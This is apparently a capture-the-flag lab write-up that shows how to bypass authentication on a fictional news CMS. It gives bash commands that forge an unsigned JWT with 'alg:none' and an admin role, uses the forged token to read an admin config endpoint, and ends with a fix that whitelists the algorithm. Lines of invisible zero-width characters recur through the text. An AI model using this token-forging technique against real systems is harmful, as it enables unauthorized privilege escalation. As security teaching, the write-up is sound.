← Back to Writeups
CUSTOMMediumWeb

Lab 12 — NewsGrid — JWT Algorithm Confusion

XESXOR9/10/20264 min read
#web#custom#medium#decoy_flag_identification#jwt_none_algorithm_attack#jwt_token_forgery#role_based_access_control_bypa#cve-2015-9235#linux

Lab 12 — NewsGrid — JWT Algorithm Confusion

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-30 | Status: Solved Techniques: decoy_flag_identification, jwt_none_algorithm_attack, jwt_token_forgery, role_based_access_control_bypass

Summary

Task: News CMS with JWT-based authentication where role is stored in token claims; admin config endpoint requires admin role. Solution: Forge JWT with alg:none and role:admin to bypass signature verification and access the admin configuration API containing the flag.

Lab 12 — NewsGrid — JWT Algorithm Confusion — hackadvisor

Description

NewsGrid is a content management system used by news organizations. The platform offers article management, editorial workflows, author profiles, and a public-facing news site. Authentication is handled via JWT tokens. The application has separate roles: regular users can browse and comment, while editors and admins have access to the editorial dashboard with sensitive configuration. Objective: Find a way to bypass authentication and access the admin panel. The flag is displayed in the admin configuration section. Pay attention to how JWT tokens are validated. Test credentials: user@test.com / password123. Hint: The application uses JWT tokens for authentication. Pay attention to how the token is structured and what data it contains. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: News CMS platform with JWT-based authentication. Users have roles (editor, admin) stored in JWT claims. The admin configuration endpoint contains the flag but requires admin role. Goal is to forge a JWT token to escalate privileges from editor to admin.

Analysis

  1. Application structure: NewsGrid is a standard news CMS with login/register, article management, and an admin panel. Key endpoints:

    • POST /api/auth/login — Authenticate and receive JWT token
    • GET /api/auth/me — Verify current user identity from token
    • GET /dashboard — Editorial dashboard (requires editor+ role)
    • GET /api/admin/config — Admin configuration (requires admin role) — target
    • GET /admin/config — Admin config page (frontend)
    • GET /js/app.js — Client-side JavaScript revealing API routes ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
  2. Honeypot decoy flags: The application embeds fake flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in hidden HTML comments and divs on every page, designed to trick automated scanners and AI agents into stopping early. These were identified and ignored.

  3. JWT token analysis: Login with test credentials returns a JWT signed with HS256:

    • Header: {"alg":"HS256","typ":"JWT"}
    • Payload: {"id":1,"email":"user@test.com","name":"Jordan Mitchell","role":"editor","iat":1777540816,"exp":1777627216}
    • The role field is editor — we need admin to access /api/admin/config. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
  4. Access control: The /api/admin/config endpoint checks the role claim in the JWT and returns {"error":"Admin access required"} for non-admin tokens. The /admin/config page returns 403 "Access Denied".

  5. Vulnerability — JWT alg:none accepted: The server's JWT verification logic does not enforce a specific algorithm whitelist. It accepts alg: none in the token header, which instructs the JWT library to skip signature verification entirely. This is a classic JWT algorithm confusion vulnerability (CVE-2015-9235). ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Login and obtain a valid JWT

bash
curl -s "$URL/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"user@test.com","password":"password123"}'

Response includes a JWT token with role: editor and the token is also set as an HttpOnly cookie named token.

Step 2: Forge a JWT with alg:none and role:admin

Craft a new JWT with no signature verification:

bash
# Header: change alg from HS256 to none
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Payload: change role from editor to admin, extend expiry
PAYLOAD=$(echo -n '{"id":1,"email":"user@test.com","name":"Jordan Mitchell","role":"admin","iat":1777540816,"exp":1877627216}' | base64 | tr -d '=' | tr '+/' '-_')

# Token with empty signature (trailing dot)
NONE_TOKEN="${HEADER}.${PAYLOAD}."

The forged token structure:

  • Header: {"alg":"none","typ":"JWT"} — tells the server to skip signature verification
  • Payload: {"role":"admin"} — escalates privileges from editor to admin
  • Signature: empty — no signature needed when alg is none ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Access admin config with forged token

bash
curl -s "$URL/api/admin/config" -H "Cookie: token=$NONE_TOKEN"

Step 4: Flag retrieved

The server accepts the unsigned token and returns the admin configuration:

json
{
  "config": {
    "analytics_enabled": {"value": "true", "description": "Enable or disable built-in analytics tracking"},
    "master_api_key": {
      "value": "FLAG{REDACTED}",
      "description": "Master API key for external integrations and syndication services"
    }
  }
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The flag is in the master_api_key configuration field.

Root Cause

The server's JWT verification accepts alg: none in the token header, which instructs the JWT library to skip signature verification entirely. This allows any attacker to forge tokens with arbitrary claims (like changing role from editor to admin) without knowing the secret key.

Fix: Explicitly whitelist only the expected algorithm (e.g., HS256) in the JWT verification options and reject tokens with alg: none. In Node.js with jsonwebtoken: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

javascript
jwt.verify(token, secret, { algorithms: ['HS256'] });

References